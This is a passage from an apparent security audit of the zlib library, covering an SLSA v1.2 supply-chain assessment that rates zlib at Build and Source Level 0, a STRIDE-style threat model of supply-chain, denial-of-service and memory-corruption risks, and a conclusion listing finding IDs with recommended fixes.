baseline assurances of source authenticity and maintainer intent through public version 
control and signed release tags. However, higher SLSA levels require systematically 
enforced controls and verifiable attestations, which were not evidenced. 
 
From a SLSA perspective, the project lacks a formally defined and enforced source 
integrity model, a trusted and isolated build system, and verifiable, machine-readable 
provenance that binds source revisions to produced artifacts. Key supply chain activities 

36 https://slsa.dev/spec/v1.2/  
35 https://slsa.dev/spec/ 
34 https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html  
33 https://blog.gitguardian.com/codecov-supply-chain-breach/  
32 https://www.techtarget.com/searchsecurity/ehandbook/SolarWinds-supply-chain-attack...  
31 https://sansec.io/research/rekoobe-fishpig-magento  
30 https://github.blog/2022-04-15-security-alert-stolen-oauth-user-tokens/  
29 https://www.okta.com/blog/2022/03/updated-okta-statement-on-lapsus/  
28 https://www.sonatype.com/press-releases/2022-software-supply-chain-report  
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are performed directly by the maintainer and are not executed on a hosted build platform 
that provides the execution isolation expected at higher SLSA Build levels. 
 
The sections below analyze the current state of the zlib supply chain in detail, structured 
around the three core SLSA domains: Source, Build, and Provenance, and identify 
specific gaps relative to SLSA v1.2 requirements. 
 
Source  
 
The initial stage of the zlib supply chain is composed of source artifacts that are directly 
authored or reviewed by individuals and committed to the version control system without 
any automated enforcement of policy or integrity checks. The project relies on Git 
commits hosted on GitHub as the authoritative source of truth for the codebase. Commit 
creation and acceptance are performed manually and are not tied to a SLSA-aligned 
source integrity process, such as mandatory multi-party review, protected branches with 
policy enforcement, or SCS-issued attestations. 
 
Repository access is centrally controlled by a single maintainer, who has exclusive 
privileges to create, modify, and delete branches and tags. While GitHub provides 
baseline integrity guarantees for Git object storage, branch and tag protection rules37, 
separation of duties, and tamper-resistant controls were not evidenced; therefore, 
source changes, including release tags, may be introduced unilaterally by a privileged 
maintainer account. From a SLSA v1.2 perspective, this results in limited source 
provenance and weak source control guarantees, as there is no cryptographically 
verifiable assurance that all source revisions were reviewed, approved, and protected 
against unauthorized or post hoc modification. 
  
Build 
 
The zlib build process is performed on a maintainer-controlled local workstation and is 
guided by informal, non-publicly documented procedures rather than a versioned, 
reviewable build specification. Builds and release artifacts are generated locally and then 
manually uploaded or pushed to the GitHub repository, which means the build 
environment is non-ephemeral, not isolated, and not evidenced to be reproducible. As a 
result, the build process cannot be independently verified, and there is no 
cryptographically verifiable linkage between the source revision and the produced 
artifacts, which falls short of SLSA v1.2 requirements for controlled and transparent 
builds. 
 
Release management further relies on manual actions by the maintainer, including the 
local generation of signed Git tags to mark releases. While tag signing provides some 

37 https://docs.github.com/en/repositories/[...]/managing-a-branch-protection-rule  
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assurance of maintainer intent, it does not constitute SLSA-compliant provenance, as 
the signing is not bound to an automated build service or to the actual build steps and 
artifacts. The absence of a trusted, hosted build service, tamper-resistant logs, and 
authenticated provenance metadata prevents consumers from verifying that the released 
zlib artifacts were built from the declared source using a known, policy-enforced build 
process, aligning the project with SLSA v1.2 Build Level 0 at best. 

 
Provenance  

The zlib project releases currently lack published SLSA provenance, which prevents 
conformance with SLSA v1.2 Build Level 1 and above. Although zlib maintainers use 
signed Git tags, Git tags alone are insufficient for SLSA compliance. The Git tags can be 
moved unless controls prevent updates; even when signed, tags provide limited 
assurance of maintainer intent and do not cryptographically bind a release artifact to a 
specific build process or environment. 

At SLSA Build Level 2 and above, provenance requires cryptographically signed, 
tamper-evident metadata generated by the build system itself, documenting the 
complete build context, including the source revision, builder identity, build steps, 
materials, dependencies, and the event that triggered the build. 

SLSA v1.2 Assessment Results 
 
Build Track  
 
SLSA v1.2 defines four Build Levels that describe the degree of assurance a project can 
provide about how its software artifacts are produced. 

●​ Build Level 0: No build integrity guarantees are provided. 
●​ Build Level 1: Build provenance exists, documenting how the artifact was built, 

but without strong protection against tampering or forgery. 
●​ Build Level 2: Builds run on a hosted build platform that generates and signs 

provenance, improving trust and repeatability. 
●​ Build Level 3: Builds are executed on a hardened platform with strong isolation 

and tamper-resistant controls, providing high assurance of build integrity. 
 

The table below presents the results of zlib according to the Producer and Build platform 
requirements in the SLSA v1.2 Framework. The categories (source, build, provenance, 
and contents of provenance) are logically separated. Each row shows the SLSA level for 
each control, with ✓ check marks indicating compliance and ✗ indicators reflecting the 
lack of evidence for compliance. 
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Implementer SLSA Requirement Degree L1 L2 L3 

Producer Choose an appropriate 
build platform38 

 ✗ ✗ ✗ 

Follow a consistent build 
process39 

 ✗ ✗ ✗ 

Distribute provenance40  ✗ ✗ ✗ 

Build platform Provenance generation41 Exists42 ✗ ✗ ✗ 

Authentic43  ✗ ✗ 

Unforgeable4

4 
  ✗ 

Isolation strength45 Hosted46  ✗ ✗ 

Isolated47   ✗ 

Tab.: SLSA v1.2 Build Track Results 
Legend: 

○​ ✓ = Requirement satisfied 
○​ ✗ = Requirement not satisfied 
○​ _ = Not required at this level 

 
Build Track Justification  
 
Choose an appropriate build platform: At SLSA Build Level 2 and above, a trusted, 
hosted build platform is required to provide hosted execution and isolation, and to 
support authenticated provenance. The current zlib artifacts are built on 
maintainer-controlled local developer machines and lack these guarantees. In addition, 
no distributed provenance was evidenced. As a result, the project is aligned with SLSA 
Build Level 048. 

48 https://slsa.dev/spec/v1.2/build-track-basics#build-l0  
47 https://slsa.dev/spec/v1.2/build-requirements#isolated  
46 https://slsa.dev/spec/v1.2/build-requirements#hosted  
45 https://slsa.dev/spec/v1.2/build-requirements#isolation-strength  
44 https://slsa.dev/spec/v1.2/build-requirements#provenance-unforgeable  
43 https://slsa.dev/spec/v1.2/build-requirements#provenance-authentic  
42 https://slsa.dev/spec/v1.2/build-requirements#provenance-exists  
41 https://slsa.dev/spec/v1.2/build-requirements#provenance-generation  
40 https://slsa.dev/spec/v1.2/build-requirements#distribute-provenance  
39 https://slsa.dev/spec/v1.2/build-requirements#follow-a-consistent-build-process  
38 https://slsa.dev/spec/v1.2/build-requirements#choose-an-appropriate-build-platform  
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Status: Not satisfied 
 
Follow a consistent build process: The current zlib build process is publicly 
undocumented, lacks a reviewable specification, and does not emit build metadata or 
provenance. This prevents independent verification of build steps, inputs, or 
environment, failing SLSA requirements for transparent and predictable builds. 
 
Status: Not satisfied 
 
Distributed provenance: The zlib project lacks structured (SLSA-compliant) or 
unstructured provenance. Consequently, consumers and verifiers cannot access build 
information (sources, dependencies, conditions), preventing independent verification of 
artifact origin and integrity. 
 
Status: Not satisfied 

Provenance Exists: The current zlib build process does not generate any 
SLSA-compliant provenance. No machine-readable attestation is produced to describe 
the build steps, inputs, environment, or source revision from which release artifacts are 
derived. 

Status: Not satisfied 

Provenance is Authentic: Because provenance is not generated, there is no 
authenticated statement that can be cryptographically attributed to a trusted build system 
or identity. As a result, consumers cannot verify that any provenance information was 
issued by an authorized producer or bound to the actual build process. 

Status: Not satisfied 

Provenance is Unforgeable: In the absence of signed, tamper-resistant provenance 
generated by a trusted build service, there are no protections against forgery or post hoc 
modification. This prevents verifiers from establishing trust in the origin or integrity of zlib 
release artifacts and fails to meet SLSA v1.2 provenance requirements. 

Status: Not satisfied 

Hosted: At SLSA Build Level 2 and above, build steps are expected to occur on a hosted 
or managed platform rather than individual workstations. Currently, zlib artifacts are 
generated on a maintainer's local machine, which fails the hosted build requirement due 
to lack of isolation, policy enforcement, and auditability. 

Status: Not satisfied 
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Isolated: The current zlib build fails the SLSA isolation requirement. Build steps are run 
on a maintainer workstation without sandboxing or environment isolation, making the 
build susceptible to local state, user activity, or existing tools and dependencies, which 
compromises protection from external interference and concurrent builds. 

Status: Not satisfied 
 
Source Track  
 
SLSA v1.2 defines four Source Levels that describe the strength of assurances a project 
can provide about the origin and integrity of its source code. Each level introduces 
additional requirements for traceability, control enforcement, and verifiability. 

●​ Source Level 1: Source code is managed in a version control system that 
produces uniquely identifiable revisions and basic source attestations. 

●​ Source Level 2: Controls are enforced to preserve reliable change history and 
provide auditable evidence of how revisions were introduced. 

●​ Source Level 3: Strong organizational controls are applied, such as protected 
branches and mandatory multi-party review. 

●​ Source Level 4: The source control system provides the highest level of integrity 
guarantees through comprehensive, system-backed attestations. 

 
The table below presents the results of the zlib project against the Source track 
requirements defined in the SLSA v1.2 framework. The requirements are grouped 
according to organizational controls and source control system capabilities. Each row 
indicates whether the corresponding requirement is met at each SLSA Source Level, 
with ✓ marks denoting compliance and ✗ indicators reflecting the absence of evidence 
or enforcement. 
 

Implementer SLSA Requirement L1 L2 L3 L4 

Organization Choose an appropriate Source 
Control System49 

✓ ✓ ✓ ✓ 

Configure the SCS to control 
access and enforce history50 

_ ✗ ✗ ✗ 

Safe Expunging Process51 _ ✗ ✗ ✗ 

Continuous technical controls52 _ _ ✗ ✗ 

52 https://slsa.dev/spec/v1.2/source-requirements#technical-controls  
51 https://slsa.dev/spec/v1.2/source-requirements#safe-expunging-process  
50 https://slsa.dev/spec/v1.2/source-requirements#access-and-history  
49 https://slsa.dev/spec/v1.2/source-requirements#choose-scs  
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Source Control 
System 

Repositories are uniquely 
identifiable53 

✓ ✓ ✓ ✓ 

Revisions are immutable and 
uniquely identifiable54 

✓ ✓ ✓ ✓ 

Human readable changes55 ✓ ✓ ✓ ✓ 

Source Verification Summary 
Attestations56 

✗ ✗ ✗ ✗ 

History57 _ ✗ ✗ ✗ 

Continuity58 _ ✗ ✗ ✗ 

Identity Management59 _ ✗ ✗ ✗ 

Source Provenance60 _ ✗ ✗ ✗ 

Protected Named References61 _ _ ✗ ✗ 

Two-party review62 _ _ _ ✗ 

Tab.: SLSA v1.2 Source Track Results 
 
Legend: 

○​ ✓ = Requirement satisfied 
○​ ✗ = Requirement not satisfied 
○​ — = Not required at this level 

 
 

62 https://slsa.dev/spec/v1.2/source-requirements#two-party-review  
61 https://slsa.dev/spec/v1.2/source-requirements#protected-refs  
60 https://slsa.dev/spec/v1.2/source-requirements#source-provenance  
59 https://slsa.dev/spec/v1.2/source-requirements#identity-management  
58 https://slsa.dev/spec/v1.2/source-requirements#continuity  
57 https://slsa.dev/spec/v1.2/source-requirements#history  
56 https://slsa.dev/spec/v1.2/source-requirements#source-summary  
55 https://slsa.dev/spec/v1.2/source-requirements#human-readable-diff  
54 https://slsa.dev/spec/v1.2/source-requirements#revision-ids  
53 https://slsa.dev/spec/v1.2/source-requirements#repository-ids  
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Gating Observation 
 
Under SLSA v1.2, Source Level 1 requires a Source Verification Summary Attestation 
(VSA). Because no Source Verification Summary Attestation (VSA) is issued for zlib 
revisions, they default to Source Level 0. 
 
Source Track Justification  
 
Choose an appropriate Source Control System: zlib uses Git hosted on GitHub, which is 
technically capable of supporting SLSA Source Levels 1 through 4, depending on 
configuration and enforcement. This foundational requirement applicable to all Source 
levels is satisfied. 
 
Status: Satisfied 
 
Configure the SCS to control access and enforce history: Although repository access is 
limited to a single maintainer, the lack of enforced branch and tag protection rules poses 
a risk. Specifically, a privileged user can modify history by moving or deleting tags and 
rewriting branches. Consequently, this requirement, applicable to Source Levels 1–3, is 
not satisfied. 
 
Status: Not satisfied 
 
Safe Expunging Process: zlib lacks a documented Safe Expunging Process, meaning 
there is no formal policy to govern history rewriting. Specifically, there are no established 
guidelines for when history can be rewritten, how such actions are approved, or how 
they are logged. Consequently, this requirement, which is applicable to Source Levels 
1–3, remains unsatisfied. 
 
Status: Not satisfied 
 
Continuous technical controls: zlib has not implemented or claimed technical source 
controls, such as automated policy enforcement, required reviews, or protected 
branches. Therefore, the continuity of controls is neither established nor tracked. This 
results in the requirement for Source Levels 3–4 remaining unsatisfied. 
 
Status: Not satisfied 
 
Repositories are uniquely identifiable: The zlib source code fulfills this foundational 
requirement for all Source levels, as it is hosted in a uniquely identifiable and stable Git 
repository on GitHub. Its repository identity is unambiguous within the GitHub Source 
Control System. 
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Status: Satisfied 
 
Revisions are immutable and uniquely identifiable: This fundamental requirement, which 
is universally applicable across all Source levels, is fulfilled, as zlib revisions are 
uniquely identified by Git commit hashes. These cryptographic digests of the revision 
content intrinsically ensure immutability at the object level. 
 
Status: Satisfied 
 
Human readable changes: Standard GitHub tooling is used to display diffs for commits, 
pull requests, and branches. As all plain-text source changes in zlib are available for 
review in a human-readable format, this foundational requirement, applicable to all 
Source levels, is met. 
 
Status: Satisfied 
 
Source Verification Summary Attestations: Per SLSA v1.2, the absence of a Source 
Verification Summary Attestation results in an implicit Source Level 0 classification. The 
zlib project does not issue Source Verification Summary Attestations (VSAs). Neither 
GitHub nor any external mechanism is configured to produce VSAs for zlib source 
revisions. Consequently, this requirement remains unsatisfied, irrespective of any other 
existing controls. 
 
Status: Not satisfied 
 
History: The zlib repository fails to meet this requirement. While Git naturally tracks 
commit ancestry, the repository lacks branch protection rules to prevent force-pushes or 
non-fast-forward updates. This allows named references, including the default branch, to 
be rewritten, essentially bypassing the ancestry constraint. 
 
Status: Not satisfied 
 
Continuity: The zlib project lacks continuous technical controls for source code changes, 
such as mandatory reviews or protected branches. Consequently, the continuity of 
source controls is neither established nor tracked, resulting in the requirement not being 
satisfied. 
 
Status: Not satisfied 
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Identity Management: GitHub attributes source changes to authenticated user identities. 
However, role separation and fine-grained permission controls are not configured for the 
zlib repository, with a single maintainer retaining full privileges. 
 
Status: Partially satisfied 

 
Source Provenance: The zlib project currently lacks Source Provenance attestations. 
Specifically, it does not produce SCS-issued or external provenance documents detailing 
the review, approval, or merging processes for revisions into branches or tags. 
Consequently, this requirement is not met. 
 
Status: Not satisfied 
 
Protected Named References: The zlib repository is currently lacking configured branch 
and tag protection mechanisms on GitHub. Consequently, named references, including 
the default branch and release tags, are vulnerable to direct modification or deletion. 
Furthermore, there are no attestations produced to describe or enforce controls over 
these actions. This indicates that a required security control is not satisfied. 
 
Status: Not satisfied 
 
Two-party review: The maintenance of zlib relies on a single individual, who possesses 
the authority to unilaterally merge changes without requiring mandatory review. 
Consequently, there is no enforcement or technical requirement for a two-party review 
process, indicating that this requirement is not met. 
 
Status: Not satisfied 

SLSA v1.2 Conclusion 

This assessment evaluated the zlib project against the SLSA v1.2 framework, with a 
focus on the Build and Source tracks to determine the level of supply chain integrity 
assurances currently provided to consumers. 

The analysis shows that widely adopted platforms are used (GitHub for source control 
and maintainer-operated local builds), but enforced technical controls and verifiable 
attestations required for higher SLSA levels were not evidenced. As a result, the current 
posture of the project provides trust-based assurances rather than system-backed, 
verifiable guarantees. 

On the Source track, while the repository and revisions are uniquely identifiable and 
changes are human-reviewable, the absence of Source Verification Summary 
Attestations (VSAs) and Source Provenance means that all consumable revisions must 
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be classified as SLSA Source Level 0. On the Build track, artifacts are produced via 
manual, local processes without hosted execution, isolation, or provenance generation, 
resulting in a classification of SLSA Build Level 0. 

Path to Achieving SLSA Level 1 and Higher 

The following steps represent incremental, low-disruption actions that would enable zlib 
to reach SLSA v1.2 Level 1 and above, while preserving the existing project 
development model: 

●​ Source Level 1 
○​ Enable generation and distribution of Source Verification Summary 

Attestations (VSAs) for consumable revisions. 
○​ Document the authoritative source repository and revision identifiers used 

for releases.​
 

●​ Source Level 2 and Above 
○​ Configure branch and tag protection rules to prevent history rewriting. 
○​ Define and document a Safe Expunging Process for exceptional cases. 
○​ Establish continuity of technical controls over protected branches.​

 
●​ Build Level 1 

○​ Generate build provenance for all release artifacts, documenting the build 
command, inputs, and outputs, even if builds remain non-hosted initially.​
 

●​ Build Level 2 
○​ Migrate release builds to a hosted build platform (e.g., GitHub Actions) 

that generates and signs provenance. 
○​ Ensure builds are executed from declarative, version-controlled 

workflows.​
 

●​ Build Level 3 
○​ Enforce isolated and hardened build environments, preventing external 

influence on the build process. 
○​ Restrict build triggers and signing keys to trusted, platform-managed 

identities. 

By adopting these measures, zlib can transition from an informal, trust-based supply 
chain to a verifiable and auditable model that aligns with modern consumer expectations 
and industry best practices. Importantly, these improvements can be implemented 
incrementally, allowing the project to increase its SLSA level over time without 
introducing undue operational burden. 
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WP6: zlib Lightweight Threat Model 
 
Introduction 
 
zlib is designed to be a free, general-purpose, legally unencumbered -- that is, not 
covered by any patents -- lossless data-compression library for use on virtually any 
computer hardware and operating system63. 
 
The zlib library is written in C and implements the DEFLATE64 compression algorithm, 
along with support for reading and writing data in the gzip file format. It is widely used 
across a vast range of software and is embedded in operating systems, network 
protocols, web browsers, servers, graphic file formats, and countless applications across 
multiple industries. This ubiquity means that zlib often operates deep within software 
stacks, far removed from direct user interaction. 
 
This pervasive deployment significantly amplifies the impact of any flaw or misuse. As a 
low-level library that processes untrusted and often externally supplied data, zlib plays a 
critical role in system security and stability. Effective threat modeling is therefore 
essential to understand its behavior, historical bugs, and resilience against advanced 
adversaries, enabling attack vectors to be anticipated, risks to be mitigated, and the 
likelihood of vulnerabilities propagating across dependent systems to be reduced. 
 
The threat model analysis in this document identifies security threats and vulnerabilities 
to enable early mitigation. Together with the related attack scenarios, a baseline is 
established to encourage a threat-led mindset across design and implementation, with 
security considered from the outset to address risks before they evolve into exploitable 
vulnerabilities. A lightweight STRIDE-based approach65 was applied using 
documentation, source code, existing threat models, research of underlying 
technologies, and client input to assess the target. 
 
This section classifies attack scenarios, outlines potential vulnerabilities, and proposes 
mitigations. The analysis focuses on zlib components and processed data, with a brief 
examination of supply chain attack scenarios. 
 
The mitigations do not necessarily need to be applied by the project itself and may also 
serve as goals for funding organizations seeking broader security improvements in 
open-source software. 

65 https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats#stride-model  
64 https://datatracker.ietf.org/doc/html/rfc1951  
63 https://zlib.net/  
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Relevant assets and threat actors 
 
The following key assets were identified as significant for security: 

●​ zlib source code hosted on GitHub. 
●​ Primary maintainer GitHub account controlling the codebase. 
●​ Example and contrib code included in the zlib distribution and used as a base by 

many developers. 
●​ Uncompressed buffers and compressed streams passed into zlib. 
●​ Files passed to gz* functions. 

 
The following threat actors are considered relevant for the analysis. 
 
Attackers 
 

●​ External attacker  
○​ (any Internet-based attacker, individual hackers) 

●​ Internal attacker 
○​ (compromised developer, insider threat, malicious contributor) 

●​ Advanced persistent threat 
○​  (for example, hacking group or nation-state threat actor) 

 
The following objectives pursued by the defined attackers were found to be the most 
relevant to the analysis. 
 
Objectives 
 

●​ Introduce a bug or malicious code into the source code that is delivered to 
thousands of systems, making them vulnerable. 

●​ Tamper with the artifact creation process to introduce a malicious change or 
backdoor into binaries, especially for platforms that do not ship zlib as a core 
library. 

●​ Discovery of exploitable memory-level bugs or vulnerable code patterns that 
enable weaponization and create a universal attack primitive during initial 
access, potentially leading to RCE, DoS, or side-channel attacks. 

●​ Attacks against the core developers to harvest credentials allowing code 
modifications and supply chain attacks. 
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Attack surface 
 
The attack surface includes potential entry points an attacker could exploit to 
compromise the environment, access or manipulate sensitive data, or disrupt availability 
to achieve their objectives. By analyzing threats and attack scenarios, organizations gain 
insight into techniques that could undermine system security and threats that may be 
faced in the future. 
 
Countermeasures 
 
The following practices were identified based on available documentation and system 
information: 

●​ Detailed specifications in RFC 1950, RFC 1951, and RFC 1952. 
●​ Limited memory footprint, largely independent of input data and dependent on 

configuration. 
●​ Data integrity checks using CRC/Adler-32. 
●​ Clear and focused purpose of the library, adhering to the Unix philosophy66. 
●​ Use of safer memory-handling patterns, potentially limiting certain classes of 

memory-based vulnerabilities. 
●​ Extensive manuals and documentation regarding both basic and advanced 

library usage. 
●​ Contrib code and examples detailing usage methods for the library. 
●​ Clear separation of responsibilities between the zlib core and contrib code, with 

the latter not required to adhere to the core standards. 
●​ No external dependencies, thus preventing targeting the library through 

third-party libraries. 
●​ Source code is primarily controlled by the core developer. 
●​ Signed GitHub tags indicating releases. 
●​ OSS-Fuzz coverage6768. 

 
Threat 01: Supply Chain Attacks 
 
Protection of zlib against supply chain attacks is critical because it is widely deployed 
across the modern software stack. Successful exploitation can lead to malicious code 
propagation to thousands of systems. Given its widespread adoption, high supply-chain 
security standards should be pursued to reduce the risk of attackers leveraging its 
popularity to compromise downstream systems. 
 

68 https://github.com/madler/zlib/actions/workflows/fuzz.yml  
67 https://introspector.oss-fuzz.com/project-profile?project=zlib  
66 https://en.wikipedia.org/wiki/Unix_philosophy  
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The attack scenarios in this category take a holistic approach and do not focus only on 
the zlib project pipeline, describing cases where the popularity of zlib can be exploited. 
Because zlib is shipped as a core library in many Linux-based systems and no binaries 
(for example, for Windows-based systems) are produced by the project, an opportunity 
exists to impersonate a legitimate zlib build to reach multiple systems implementing 
compression. When AI-assisted code generation increases, users may be more 
vulnerable to these attacks if reliable sources of pre-compiled binaries are not available. 
 
Attack Scenarios 
 

●​ GitHub credential theft or key leakage resulting in malicious code being planted 
in the main branch. 

●​ Forced pushes rewriting Git history due to a lack of protected branches on the 
GitHub repository, allowing code and repository history to be tampered with. 

●​ An insufficient code review process potentially leading to a backdoor or 
intentionally broken code being incorporated in the main code branch (for 
example, XZ Utils backdoor6970) via a malicious contribution. 

●​ Malicious code being incorporated in build artifacts if a third-party continuous 
integration or continuous delivery process is compromised; responsibility for the 
secure build process is shifted to other parties (for example, Linux distribution 
build pipelines) because zlib releases only source code. 

●​ Vendor-modified forks introducing vulnerabilities, leading to incorrect attribution 
to the zlib core library7172. 

●​ Lack of builds for Windows-based systems shifting responsibility to end users to 
build the library themselves or potentially download it from external sources73. 
Multiple projects can become vulnerable indirectly if an attacker hosts malicious 
binaries or compromises well known sources of the library used by many projects 
on platforms where no vetted source of the library exists. 

 
Recommendations 
 

●​ The highest feasible SLSA level could be implemented to limit attacks against the 
source codebase (SLSA v1.2 conclusion). 

●​ A robust code review process, ideally involving multiple parties, should be 
required for code approval prior to merging. 

73 https://www.nuget.org/packages?q=zlib...  
72 https://github.com/madler/zlib/issues/905  
71 https://github.com/alpinelinux/docker-alpine/issues/373  
70 https://www.akamai.com/blog/security-research/critical-linux-backdoor-xz-utils-discovered-what-to-...  
69 https://tukaani.org/xz-backdoor/  
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●​ Commit signing enforcement could be utilized to prevent unauthorized or spoofed 
code submissions, and automatic rejection rules for unsigned code are 
advised7475. 

●​ Research and analysis of common build pipelines are recommended to ensure 
their integrity. Such actions can be pursued by external organizations protecting 
software integrity, rather than the project itself. 

●​ Up-to-date documentation of vetted build artifact sources is advised for platforms 
that do not ship zlib as a core library (for example, Windows-based systems). 
While generating every possible pre-compiled artifact might be impractical for a 
library aiming for broad compatibility, collaboration with various vendors or the 
provision of pre-compiled binaries for the most common systems should be 
considered a broad approach and a significant contribution to general Internet 
security. 

 
Threat 02: Insecure Usage of the Library 
 
Insecure use of zlib presents a significant risk, with vulnerabilities arising not from core 
zlib algorithms, but from how the library is integrated, compiled, or configured by the host 
application. Because zlib functions as a data processing pipeline within a larger system, 
it often relies on the host application to enforce memory safety constraints and on the 
library configuration chosen by the calling program. Failure to uphold this shared 
responsibility may introduce vulnerabilities such as side-channel leaks or buffer 
overflows that are often misattributed to the library itself. These issues may be caused 
by improper usage, including insufficient understanding of internals or configuration, or 
the absence of secure code patterns in calling code. 
 
Attack Scenarios 
 

●​ Contrib code containing vulnerabilities but widely used by many projects, leading 
to vulnerabilities in downstream software that may be attributed to zlib. 

●​ Insecure code patterns or optimizations introducing potential side-channel attack 
vectors when combined with more complex attacks that process sensitive data 
and rely on compression history (e.g. reusing shared internal state7677). 

●​ Use of known insecure functions without proper input handling in calling code, 
increasing the risk of buffer overflows78. 

78 https://zlib.net/zlib_faq.html#faq33  
77 https://hpbn.co/http2/#security-and-performance-of-hpack  
76 https://bugzilla.mozilla.org/show_bug.cgi?id=779413  
75 https://docs.github.com/...#require-signed-commits  
74 https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits  
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●​ Insufficient understanding of input validation restrictions that, if neglected in the 
calling application or in zlib forks79, can lead to denial of service or memory 
corruption bugs. 

 
Recommendations 
 

●​ Consider moving to a separate repository any contrib code that is not intended to 
meet the same security requirements as the core to prevent developer confusion. 

●​ Secure zlib code patterns, based upon real-world vulnerabilities reported in the 
past, may be documented to educate developers utilizing zlib. 

●​ A shared set of security-oriented test cases can be reused, especially by vendors 
forking the library, to ensure consistent security guarantees. 

●​ Fuzzing configuration for contrib code might be considered. 
 
Threat 03: Denial of Service Attack Vectors 
 
Denial of Service is a primary attack vector against the zlib library because untrusted 
input streams are processed, especially in decompression functions. As a foundational 
software supply chain component, zlib must adhere to strict stability requirements. 
Therefore, it is critical that malformed data are handled by the library without crashing or 
triggering excessive resource consumption. Failure to maintain this resilience 
compromises host application availability, allowing CPU and memory resources to be 
exhausted by attackers, or underlying software execution to be halted entirely. 
 
Attack Scenarios 
 

●​ Crash of an application leveraging zlib for decompression due to malformed 
compressed input, for example header-parsing bugs or algorithmic edge cases. 

●​ Excessive resource consumption caused by malformed headers or input. 
●​ Resource exhaustion caused by infinite loops in data processing or data integrity 

validation functions80. 
●​ Denial of Service due to insufficient thread-safe implementation caused by race 

conditions81. 
 
Recommendations 
 

●​ OSS-Fuzz tests should be regularly reviewed and expanded to test zlib against 
malformed headers and corrupted streams, identifying edge cases that lead to 
crashes or high resource consumption before deployment. 

81 ZLB-01-004 WP1: Persistent DoS via Race Condition in fixedtables 
80 ZLB-01-002 WP1: Infinite Loop via Arithmetic Shift in crc32_combine64 
79 https://www.clouddefense.ai/cve/2023/CVE-2023-6992  
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●​ Edge cases leading to excessive resource consumption should be documented, 
and common code patterns should be made available so developers 
incorporating zlib are aware of how resource consumption can be limited in 
calling code. 

 
Threat 04: Memory Corruption and Data Integrity Issues 
 
Being a library written in C, zlib is potentially susceptible to memory corruption bugs. 
Despite careful bounds checking and design, multiple issues leading to memory 
corruption or out-of-bounds memory access vulnerabilities have been discovered 
previously. The main attack vector involves processing attacker-controlled, untrusted 
data, especially in decompression routines targeting memory corruption issues. 
 
As a de facto standard compression library used across numerous platforms, including 
less common architectures, familiarity with various memory corruption vulnerabilities and 
bugs identified in the past is crucial. This ensures that historical issues are not 
re-introduced during development in either the main codebase or forks. 
 
Attack Scenarios 
 
The following vulnerabilities and attacks remain relevant for zlib despite multiple reviews 
and patches. Past issues must be considered during any in-depth analysis of the library 
as similar cases can potentially be spotted. 
 

●​ Buffer overflows (e.g. heap-based buffer overflow in gzip implementation8283). 
●​ Incorrect bound checks or incorrect handling of internal buffers leading to 

unauthorized memory access or memory corruption. 
●​ Improper pointer arithmetic operations leading to memory corruption or 

unauthorized memory access84. 
●​ Security issues stemming from uncommon or esoteric architectures85. 
●​ Susceptibility to memory safety issues (e.g. buffer overflows, use-after-free) due 

to security-hardening compiler and linker flags not being enforced by default86. 
This can effectively lead to inconsistencies between compiled and deployed 
software. 

●​ Bugs in CRC or Adler-32 data validation leading to corrupted data being 
processed. 

●​ Despite being one of the most-studied real-world C libraries, it is recommended 
to consider applying formal verification or symbolic execution to the core 

86 ZLB-01-007 WP4: Missing Security-Hardening Compiler and Linker Flags in zlib Build 
85 https://github.com/madler/zlib/commit/d1d577490c15a0c6862473d7576352a9f18ef811  
84 https://www.wiz.io/vulnerability-database/cve/cve-2025-4638  
83 ZLB-01-001 WP2: Heap Buffer Overflow via Legacy gzprintf Implementation 
82 https://access.redhat.com/security/cve/cve-2022-37434  
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DEFLATE logic and the CRC and Adler-32 implementations to prove the 
absence of certain classes of out-of-bounds errors. 

 
Recommendations 
 

●​ Continuous security assessments with focus upon boundary checks, performed 
by experts familiar with past issues and zlib internals, are recommended. 

●​ Security assessments targeting less common architectures, including embedded 
systems, should be performed; unseen edge cases may be discovered. 

●​ Systematic review of code relevant to pointer arithmetic is suggested, as this has 
been a source of recently discovered bugs. 

●​ Thorough security analysis of gz* functions handling header parsing is advised. 
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Conclusion 
 

Despite the number of findings identified during this engagement, the zlib library 
demonstrated strong defensive characteristics and resilience against a broad range of 
realistic attack vectors. The core implementation, particularly in standard and non-legacy 
execution paths, was found to be robust and well-engineered. As additional cycles of 
security testing and targeted hardening are performed, the overall security posture of the 
library is expected to continue to improve. 
 
The zlib library provided a number of positive impressions during this assignment that 
must be mentioned here: 

●​ The source code was found to be thoroughly documented, and excellent support 
was provided by the maintainers throughout the assessment. 

●​ The primary decompression logic (including inflate_fast and longest_match) 
proved highly resistant to complex algorithmic denial of service techniques, 
including adversarial DEFLATE tree structures and hash-degradation patterns. 

●​ Standard, non-legacy string-formatting code paths correctly used bounded 
functions such as vsnprintf to enforce strict memory boundaries. 

●​ Allocation hooks, dynamic tables, and pre-checked buffer boundaries were used 
consistently to reduce overflow risk while maintaining high performance in 
common flows. 

●​ The project is widely studied and well-described in external documentation, and it 
includes fuzzing configuration, which provides a strong baseline for continued 
assurance. 

 
The security posture of zlib will further improve with a focus on the following areas: 

●​ Legacy fallback removal: The unsafe vsprintf fallback in the legacy gzprintf and 
gzvprintf paths should be removed, and bounded formatting or explicit truncation 
should be enforced to eliminate the heap overflow and potential code execution 
risk in affected builds (ZLB-01-001). 

●​ Fixed table initialization: The fixedtables initialization behavior in BUILDFIXED 
builds should be made thread-safe, or precomputed fixed tables should be 
preferred in multithreaded contexts to prevent denial of service conditions 
(ZLB-01-004). 

●​ CRC32 input validation: Robust signed-integer checks should be applied to the 
crc32 module to reject negative length inputs and prevent arithmetic-shift loops. 
Additional fuzzing coverage should be considered for CRC32 braid and table 
computations to improve resilience against extreme or intentionally malformed 
inputs (ZLB-01-002). 

●​ State cloning hygiene: State-cloning functions should avoid copying 
uninitialized heap residue by limiting copies to initialized regions and 
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zero-initializing remaining capacity to prevent information disclosure in 
inflateCopy and deflateCopy (ZLB-01-003, ZLB-01-010). 

●​ Windows LLP64 modernization: Windows x64 (LLP64) behaviors should be 
hardened by preventing silent truncation of uLong-sized values and by 
introducing overflow-safe bound calculations to reduce systemic risk in size and 
buffer computations (ZLB-01-005, ZLB-01-006). 

●​ Allocation size overflow: Overflow-checked multiplication should be enforced in 
zcalloc prior to allocation, and failures should be handled safely to prevent 
undersized allocations that may lead to downstream memory safety issues 
(ZLB-01-008). 

●​ Toolchain hardening defaults: Hardened build guidance should be provided for 
both testing and production use, including sanitizer-enabled builds for 
